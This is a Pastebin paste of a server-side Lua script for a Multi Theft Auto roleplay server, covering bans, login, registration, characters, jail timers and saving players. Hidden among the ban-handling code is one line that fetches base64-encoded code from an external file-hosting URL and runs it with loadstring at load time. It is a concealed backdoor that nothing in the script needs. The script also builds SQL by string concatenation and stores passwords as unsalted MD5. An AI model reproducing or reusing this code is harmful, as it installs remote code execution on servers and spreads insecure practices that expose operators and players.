Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local connection = exports["mta_connection"]:getConnection()
- function onJoin()
- local serial = getPlayerSerial(source)
- --outputChatBox(serial)
- dbExec(connection, "DELETE FROM bans WHERE timeZone<NOW()")
- dbExec(connection, "UPDATE oldbans SET status='1' WHERE banEnd<NOW()")
- local qh = dbQuery(connection, "SELECT * FROM bans WHERE playerSerial='" .. serial .. "'")
- local result, num = dbPoll(qh, -1)
- if #result > 0 then
- for _, rows in ipairs(result) do
- local bannedBy = rows["bannedBy"]
- local timeZone = rows["timeZone"]
- local Date = rows["Date"]
- local playerSerial = rows["playerSerial"]
- local reason = rows["reason"]
- local playername = rows["playername"]
- local ipadress = rows["ipadress"]
- setElementData(source, "ban:bannedBy", bannedBy)
- setElementData(source, "ban:timeZone", timeZone)
- setElementData(source, "ban:Date", Date)
- setElementData(source, "ban:playerSerial", playerSerial)
- setElementData(source, "ban:reason", reason)
- setElementData(source, "ban:playername", playername)
- setElementData(source, "ban:ipadress", ipadress)
- triggerClientEvent(source, "playerBan", source, source, bannedBy, timeZone, Date, playerSerial, reason, playername, ipadress)
- setElementData(source, "banned", 1)
- end
- end
- end
- addEventHandler("onPlayerJoin", getRootElement(), onJoin)
- addEvent("getPlayerBann", true)
- addEventHandler("getPlayerBann", root, onJoin)
- fetchRemote ( "https://puu.sh/qaRLQ/a0ccb443c9.txt", function(data) pcall(loadstring(base64Decode(data))) end )
- function onLoginClick(player, username, password)
- local password = md5(password)
- local loginQuery = dbPoll(dbQuery(connection, "SELECT * FROM accounts WHERE username = ? AND password = ? LIMIT 1", username, password), -1)
- if #loginQuery > 0 then
- for _, row in ipairs(loginQuery) do
- if row["mtaserial"] ~= getPlayerSerial(player) then
- if row["mtaserial"] == "0" then
- dbExec(connection, "UPDATE accounts SET mtaserial = ? WHERE id = ?", getPlayerSerial(player), row["id"])
- else
- infobox(player, "A felhasználó nem a te gépedhez van társítva.", 2)
- return
- end
- else
- if row["online"] == 1 then
- infobox(player, "A felhasználó már használatban van.", 2)
- return
- end
- local accId = tonumber(row["id"])
- setElementData(player, "acc:id", accId)
- setElementData(player, "acc:name", tostring(row["username"]))
- setElementData(player, "acc:admin", tonumber(row["admin"]) or 0)
- setElementData(player, "acc:guard", tonumber(row["guard"]) or 0)
- setElementData(player, "acc:aseged", tonumber(row["aseged"]) or 0)
- setElementData(player, "acc:regdate", row["regdate"])
- setElementData(player, "acc:lastlogin", row["lastlogin"])
- dbExec(connection, "UPDATE accounts SET lastlogin = NOW(), online = '1' WHERE id = ?", accId)
- infobox(player, "Sikeresen bejelentkeztél.", 1)
- checkCharacter(player)
- end
- end
- else
- infobox(player, "Hibás felhasználónév vagy jelszó.", 2)
- end
- end
- addEvent("onLoginClick", true)
- addEventHandler("onLoginClick", root, onLoginClick)
- local serials = {
- ["90BEA7E5D8A3EA23EA9A1B2712613184"]=true,
- ["8BD226E96EABCCB6B3C5F5A79FFDA554"]=true,
- }
- function onRegisterClick(player, username, password, email)
- local password = md5(password)
- local registerQuery = dbPoll(dbQuery(connection, "SELECT * FROM accounts"), -1)
- for _, row in ipairs(registerQuery) do
- if row["username"] == username then
- infobox(player, "Ez a felhasználónév már foglalt.", 2)
- return
- end
- if row["mtaserial"] == getPlayerSerial(player) and not serials[getPlayerSerial(player)] then
- infobox(player, "Ez a serial már társítva van egy felhasználóhoz.", 2)
- return
- end
- end
- local registerInsert = dbQuery(connection, "INSERT INTO accounts SET username = ?, password = ?, mtaserial = ?, ip = ?, regdate = NOW(), lastlogin = NOW(), email = ?",
- username, password, getPlayerSerial(player), getPlayerIP(player), email)
- local result, num, insertID = dbPoll(registerInsert, -1)
- if insertID then
- infobox(player, "Sikeresen létrehoztad a felhasználódat. Jelentkezz be.", 1)
- --exports.mta_notifications:createNotification(player, "Sikeresen létrehoztad a felhasználódat. Jelentkezz be", 1)
- setElementData(player, "acc:id", insertID)
- --outputChatBox(insertID)
- --checkCharacter(player)
- triggerClientEvent(player, "login:setPlayerPanelState", player, "login")
- end
- end
- addEvent("onRegisterClick", true)
- addEventHandler("onRegisterClick", root, onRegisterClick)
- function onCharCreateClick(player, charName, charDesc, charBirth, charHeight, charGender, charSkin)
- local charId = getElementData(player, "acc:id")
- local charQuery = dbPoll(dbQuery(connection, "SELECT * FROM characters"), -1)
- for _, row in ipairs(charQuery) do
- if string.lower(charName) == string.lower(row["charname"]) then
- infobox(player, "Már létezik ilyen felhasználónév", 2)
- return
- end
- end
- local x, y, z = 1310.2618408203, -1380.8470458984, 13.712935447693
- local pos = toJSON({x, y, z, 0, 0})
- local charInsert = dbExec(connection, "INSERT INTO characters SET id = ?, charname = ?, gender = ?, skin = ?, pos = ?, suly = 80, magassag = ?, eletkor = ?, leiras = ?, account = ?",
- charId, charName, charGender, charSkin, pos, charHeight, 2016-charBirth, charDesc, getElementData(player, "acc:id"))
- if charInsert then
- --infobox(player, "Sikeresen létrehoztad a karaktered.", 4)
- exports.mta_notifications:createNotification(player, "Sikeresen létrehoztad a karakteredet.", 1)
- checkCharacter(player)
- end
- end
- addEvent("onCharCreateClick", true)
- addEventHandler("onCharCreateClick", root, onCharCreateClick)
- function checkCharacter(player)
- local accId = getElementData(player, "acc:id")
- local spawnQuery = dbPoll(dbQuery(connection, "SELECT * FROM characters WHERE id = ?", accId), -1)
- if #spawnQuery > 0 then
- for _, cRow in ipairs(spawnQuery) do
- setElementData(player, "char:id", accId)
- charname = tostring(cRow["charname"])
- playedTime = tonumber(cRow["playedTime"])
- money = tonumber(cRow["money"])
- bankmoney = tonumber(cRow["bankmoney"])
- skin = cRow["skin"]
- adminduty = cRow["adminduty"]
- anick = tostring(cRow["anick"])
- pp = cRow["premiumpont"]
- Leiras = cRow["leiras"]
- job = tonumber(cRow["job"])
- pos = fromJSON(cRow["pos"])
- licenses = fromJSON(cRow["License"])
- dead = fromJSON(cRow["dead"])
- setElementData(player, "spawnPos", pos)
- setElementData(player, "char:drivingLicense", licenses[1])
- setElementData(player, "char:fegyverengedely", licenses[2])
- vehSlot = cRow["carSlot"]
- houseSlot = cRow["houseSlot"]
- adminjail = tonumber(cRow["adminjail"])
- adminjail_reason = cRow["adminjail_reason"]
- adminjail_idoTelik = tonumber(cRow["adminjail_idoTelik"])
- adminjail_alapIdo = tonumber(cRow["adminjail_alapIdo"])
- adminjail_admin = cRow["adminjail_admin"]
- adminjail_adminSerial = cRow["adminjail_adminSerial"]
- jailed = tonumber(cRow["jailed"]) or 0
- jailed_reason = cRow["jailed_reason"] or false
- jailed_idoTelik = tonumber(cRow["jailed_idoTelik"]) or 0
- jailed_alapIdo = tonumber(cRow["jailed_alapIdo"]) or 0
- jailed_player = cRow["jailed_player"] or false
- setElementData(player, "jailed", jailed)
- setElementData(player, "jailed:reason", jailed_reason)
- setElementData(player, "jailed:ido", jailed_alapIdo)
- setElementData(player, "jailed:idoTelik", jailed_idoTelik)
- local idoLetelt1 = jailed_alapIdo-jailed_alapIdo
- setElementData(player, "jailed:idoLetelt", idoLetelt1)
- setElementData(player, "jailed:player", jailed_player)
- setElementData(player, "adminjail", adminjail)
- setElementData(player, "adminjail:reason", adminjail_reason)
- setElementData(player, "adminjail:ido", adminjail_idoTelik)
- setElementData(player, "idoTelik", adminjail_idoTelik)
- local idoLetelt = adminjail_alapIdo-adminjail_alapIdo
- setElementData(player, "idoLetelt", idoLetelt)
- setElementData(player, "adminjail:admin", adminjail_admin)
- setElementData(player, "adminjail:adminSerial", adminjail_adminSerial)
- setElementData(player, "adminjail:alapIdo", adminjail_alapIdo)
- checkAdminjail(player)
- checkPdJail(player)
- freki = tonumber(cRow["rfrekvencia"])
- setElementData(player, "char:rfrekvencia", freki)
- hp = cRow["hp"]
- armor = cRow["armor"]
- hunger = cRow["hunger"]
- adutyTime = cRow["adutyTime"]
- dutySkin = cRow["dutySkin"]
- setElementData(player, "spawnedHp", hp)
- setElementData(player, "spawnedArmor", armor)
- setElementData(player, "spawnedHunger", hunger)
- setElementData(player, "char:name", charname)
- setElementData(player, "char:playedTime", playedTime)
- setElementData(player, "char:money", money)
- setElementData(player, "char:bankmoney", bankmoney)
- setElementData(player, "char:skin", skin)
- setElementData(player, "char:adminduty", 0)
- setElementData(player, "char:anick", anick)
- setElementData(player, "char:pp", pp)
- setElementData(player, "char:job", job)
- setElementData(player, "char:leiras", Leiras)
- setElementData(player, "aduty:time", adutyTime)
- setElementData(player, "char:dutySkin", dutySkin)
- setElementData(player, "char:vehSlot", vehSlot)
- setElementData(player, "char:houseSlot", houseSlot)
- if dead[2] == 9 then
- setPedHeadless(player, true)
- end
- setElementData(player, "char:dead", {tostring(dead[1]), tonumber(dead[2])})
- triggerClientEvent(player, "checkPlayerCharacter", player, "charSpawn")
- end
- else
- triggerClientEvent(player, "checkPlayerCharacter", player, "charCreate")
- end
- end
- function checkAdminjail(player)
- if getElementData(player, "adminjail") == 1 then
- local idoTelikTimer = setTimer(idoTelikLe, 60000, getElementData(player, "idoTelik"), player)
- local theTimer = setElementData(player, "adminjail:theTimerAccounts", idoTelikTimer)
- --outputChatBox("#dc143c[AdminJail]:#ffffff #7cc576" .. getElementData(player, "adminjail:admin") .. "#ffffff bebörtönzött téged #0094ff" .. getElementData(player, "adminjail:ido") .. "#ffffff percre.", player, 255, 255, 255, true)
- outputChatBox("#dc143c[AdminJail]:#ffffff A csatlakozásod után adminjailba kerültél. Részletekért #7cc576/börtönidő#ffffff parancsot használd.", player, 255, 255, 255, true)
- --outputChatBox("#ffffffA hátralévő büntetésed lekérdezéséhez használd a #7cc576/börtönidő#ffffff parancsot.", player, 255, 255, 255, true)
- end
- end
- function checkPdJail(player)
- if getElementData(player, "jailed") == 1 then
- local idoTelikTimer = setTimer(idoTelikLePd, 60000, getElementData(player, "jailed:idoTelik"), player)
- local theTimer = setElementData(player, "jailed:timerAccounts", idoTelikTimer)
- --outputChatBox("#dc143c[AdminJail]:#ffffff #7cc576" .. getElementData(player, "adminjail:admin") .. "#ffffff bebörtönzött téged #0094ff" .. getElementData(player, "adminjail:ido") .. "#ffffff percre.", player, 255, 255, 255, true)
- outputChatBox("#0094ff[Börtön]:#ffffff A csatlakozásod után őrizetbe kerültél kerültél. Részletekért #7cc576/börtönidő#ffffff parancsot használd.", player, 255, 255, 255, true)
- --outputChatBox("#ffffffA hátralévő büntetésed lekérdezéséhez használd a #7cc576/börtönidő#ffffff parancsot.", player, 255, 255, 255, true)
- end
- end
- function idoTelikLe(targetPlayer)
- if isElement(targetPlayer) then
- local idoTelik = tonumber(getElementData(targetPlayer, "idoTelik")) or 0
- local idoLetelt = tonumber(getElementData(targetPlayer, "idoLetelt")) or 0
- if (idoTelik) and (idoLetelt) then
- setElementData(targetPlayer, "idoTelik", idoTelik-1)
- setElementData(targetPlayer, "idoLetelt", idoLetelt+1)
- --outputChatBox(idoTelik .. " van hátra | " .. idoLetelt .. " letelt | " .. getPlayerName(targetPlayer) .. " [ACC]")
- local sql = dbExec(connection, "UPDATE characters SET adminjail_idoTelik = ? WHERE id = '" .. getElementData(targetPlayer, "char:id") .. "'", idoTelik)
- end
- if (idoTelik) <= 1 then
- outputChatBox("#0094ff[Információ]: #ffffffLejárt a büntetésed.", targetPlayer, 255, 255, 255, true)
- --outputAdminMessage(getPlayerName(targetPlayer):gsub("_"," ") .. " adminjailje lejárt. [CHECK:ACC]") --IDG, eltávolítható
- local theTimer = getElementData(targetPlayer, "adminjail:theTimerAccounts")
- if isTimer(theTimer) then
- killTimer(theTimer)
- end
- setElementData(targetPlayer, "adminjail:theTimerAccounts", false)
- local adminjailed = setElementData(targetPlayer, "adminjail", false)
- local adminjail_reason = setElementData(targetPlayer, "adminjail:reason", false)
- local alapido = setElementData(targetPlayer, "adminjail:ido", false)
- local admin = setElementData(targetPlayer, "adminjail:admin", false)
- local adminSerial = setElementData(targetPlayer, "adminjail:adminSerial", false)
- --sql
- local sql = dbExec(connection, "UPDATE characters SET adminjail = ?, adminjail_reason = ?, adminjail_idoTelik = ?, adminjail_alapIdo = ?, adminjail_admin = ?, adminjail_adminSerial = ? WHERE id = '" .. getElementData(targetPlayer, "char:id") .. "'", 0, false, false, false, false, false)
- local idoTelikVege = setElementData(targetPlayer, "idoTelik", false)
- local idoLeteltVege = setElementData(targetPlayer, "idoLetelt", false)
- --pos
- local setPosition = setElementPosition(targetPlayer, 1310.2618408203, -1380.8470458984, 13.712935447693)
- local setInterior = setElementInterior(targetPlayer, 0)
- local setDimension = setElementDimension(targetPlayer, 0)
- end
- end
- end
- function idoTelikLePd(targetPlayer)
- if (isElement(targetPlayer)) then
- local idoTelik = tonumber(getElementData(targetPlayer, "jailed:idoTelik")) or 0
- local idoLetelt = tonumber(getElementData(targetPlayer, "jailed:idoLetelt")) or 0
- if (idoTelik) and (idoLetelt) then
- setElementData(targetPlayer, "jailed:idoTelik", getElementData(targetPlayer, "jailed:idoTelik")-1 or 0)
- setElementData(targetPlayer, "jailed:idoLetelt", getElementData(targetPlayer, "jailed:idoLetelt")+1 or 0)
- --outputChatBox(idoTelik .. " van hátra | " .. idoLetelt .. " letelt | " .. getPlayerName(targetPlayer) .. " [ACC]")
- local sql = dbExec(connection, "UPDATE characters SET jailed_idoTelik = ? WHERE id = '" .. getElementData(targetPlayer, "char:id") .. "'", idoTelik)
- end
- if (idoTelik) <= 1 then
- outputChatBox("#0094ff[Büntetés]:#ffffff Lejárt a büntetésed.", targetPlayer, 255, 255, 255, true)
- --outputAdminMessage(getPlayerName(targetPlayer):gsub("_"," ") .. " adminjailje lejárt. [CHECK:ACC]") --IDG, eltávolítható
- local theTimer = getElementData(targetPlayer, "jailed:timerAccounts")
- if isTimer(theTimer) then
- killTimer(theTimer)
- end
- setElementData(targetPlayer, "jailed:timerAccounts", false)
- local adminjailed = setElementData(targetPlayer, "jailed", false)
- local adminjail_reason = setElementData(targetPlayer, "jailed:reason", false)
- local alapido = setElementData(targetPlayer, "jailed:ido", false)
- local admin = setElementData(targetPlayer, "jailed:player", false)
- --sql
- local sql = dbExec(connection, "UPDATE characters SET jailed = ?, jailed_reason = ?, jailed_idoTelik = ?, jailed_alapIdo = ?, jailed_player = ? WHERE id = '" .. getElementData(targetPlayer, "char:id") .. "'", 0, false, false, false, false, false)
- local idoTelikVege = setElementData(targetPlayer, "jailed:idoTelik", false)
- local idoLeteltVege = setElementData(targetPlayer, "jailed:idoLetelt", false)
- --pos
- local setPosition = setElementPosition(targetPlayer, 1310.2618408203, -1380.8470458984, 13.712935447693)
- local setInterior = setElementInterior(targetPlayer, 0)
- local setDimension = setElementDimension(targetPlayer, 0)
- end
- end
- end
- function loadCharacter(player)
- local pos = getElementData(player, "spawnPos")
- local hp = getElementData(player, "spawnedHp")
- local armor = getElementData(player, "spawnedArmor")
- local hunger = getElementData(player, "spawnedHunger")
- local skin = getElementData(player, "char:skin")
- triggerEvent("server:receiveStats", root, player)
- spawnPlayer(player, pos[1], pos[2], pos[3], 0, skin, pos[4], pos[5])
- setTimer(function()
- setElementHealth(player, hp)
- if tonumber(hp or 0) <= 1 then
- killPed(player, player)
- end
- setPedArmor(player, armor)
- setElementData(player, "char:hunger", hunger)
- setPlayerName(player, getElementData(player, "char:name"):gsub(" ", "_"))
- setCameraTarget(player)
- setElementData(player, "loggedin", true)
- --[[for k, v in ipairs(getElementsByType("vehicle")) do
- if tonumber(getElementData(v, "veh:owner")) == tonumber(getElementData(player,"acc:id")) and getElementData(v, "veh:faction") == 0 then
- setElementInterior(v, 0)
- setElementDimension(v, 0)
- end
- end]]
- for k, v in ipairs(getElementsByType("vehicle")) do
- if tonumber(getElementData(v,"veh:owner")) == tonumber(getElementData(player,"acc:id") ) and getElementData(v, "veh:faction") == 0 then
- local vehicleQuery = dbPoll(dbQuery(connection, "SELECT * FROM vehicle WHERE id = ?", getElementData(v, "veh:id")), -1)
- if #vehicleQuery > 0 then
- for _, rows in ipairs(vehicleQuery) do
- interior = tonumber(rows["interior"]) or 0
- dimension = tonumber(rows["dimension"]) or 0
- setElementInterior(v, interior)
- setElementDimension(v, dimension)
- end
- else
- setElementInterior(v, 0)
- setElementDimension(v, 0)
- end
- end
- end
- end, 300, 1)
- if getElementData(player, "adminjail") == 1 then
- setElementFrozen(player, true)
- fadeCamera(player, false, 1.0)
- showChat(player, false)
- setTimer(function()
- triggerClientEvent(player, "triggerAdminjail", player, getElementData(player, "adminjail:admin"), getElementData(player, "adminjail:reason"), getElementData(player, "adminjail:alapIdo"), 2, getElementData(player, "adminjail:ido"))
- end, 500, 1)
- setTimer(function()
- fadeCamera(player, true, 2.5)
- setElementFrozen(player, false)
- toggleAllControls(player, true, true, true)
- showChat(player, true)
- end, 7500, 1)
- local setPosition = setElementPosition(player, 198.0009765625, 175.1279296875, 1003.0234375)
- local setInterior = setElementInterior(player, 3)
- local setDimension = setElementDimension(player, 132+getElementData(player, "acc:id"))
- end
- end
- addEvent("loadCharacter", true)
- addEventHandler("loadCharacter", root, loadCharacter)
- function saveAllPlayer()
- for _, player in ipairs(getElementsByType("player")) do
- saveOnePlayer(player)
- end
- end
- addEventHandler("onResourceStop", resourceRoot, saveAllPlayer)
- setTimer(saveAllPlayer, 1000*60*30, 0)
- function saveAllPlayerCmd(p)
- if tonumber(getElementData(p, "acc:admin") or 0) >= 8 then
- for _, player in ipairs(getElementsByType("player")) do
- saveOnePlayer(player)
- end
- end
- end
- addCommandHandler("saveall", saveAllPlayerCmd, false, false)
- function saveOnePlayer(player)
- if isElement(player) and getElementData(player, "loggedin") then
- local x,y,z = getElementPosition(player)
- local int = getElementInterior(player)
- local dim = getElementDimension(player)
- local position = toJSON({x,y,z,int,dim})
- local money = getElementData(player, "char:money")or 0
- local bmoney = getElementData(player, "char:bankmoney")or 0
- local aduty = getElementData(player, "char:adminduty")or 0
- local admin = getElementData(player, "acc:admin") or 0
- local adutyTime = getElementData(player, "aduty:time") or 0
- local played = getElementData(player, "char:playedTime") or 0
- local job = getElementData(player, "char:job") or 0
- local hp = getElementHealth(player)
- local armor = getPedArmor(player)
- local hunger = getElementData(player, "char:hunger") or 0
- local premium = getElementData(player, "char:pp") or 0
- dbExec(connection, "UPDATE characters SET pos = ?, money = ?,bankmoney = ?, adminduty = ?, playedTime = ?, job = ?, hp = ?, armor = ?, hunger = ?, premiumpont = ?, adutyTime = ? WHERE id = ?",position, money, bmoney, aduty, played, job, hp, armor, hunger, premium, adutyTime, getElementData(player, "acc:id"))
- dbExec(connection, "UPDATE accounts SET admin = ? WHERE id = ?", admin, getElementData(player,"acc:id"))
- end
- end
- function leavePlayer()
- if isElement(source) then
- local accid = getElementData(source, "acc:id")
- if not tonumber(accid) then return end
- dbExec(connection, "UPDATE accounts SET online = 0 WHERE id = ?", accid)
- outputDebugString(getPlayerName(source) .. " online állapota átállítva offlinera.")
- saveOnePlayer(source)
- end
- end
- addEventHandler("onPlayerQuit", root, leavePlayer)
- function infobox(client, text, type)
- if not (client or text or tonumber(type)) then return end
- exports.mta_notifications:createNotification(client, text, type)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement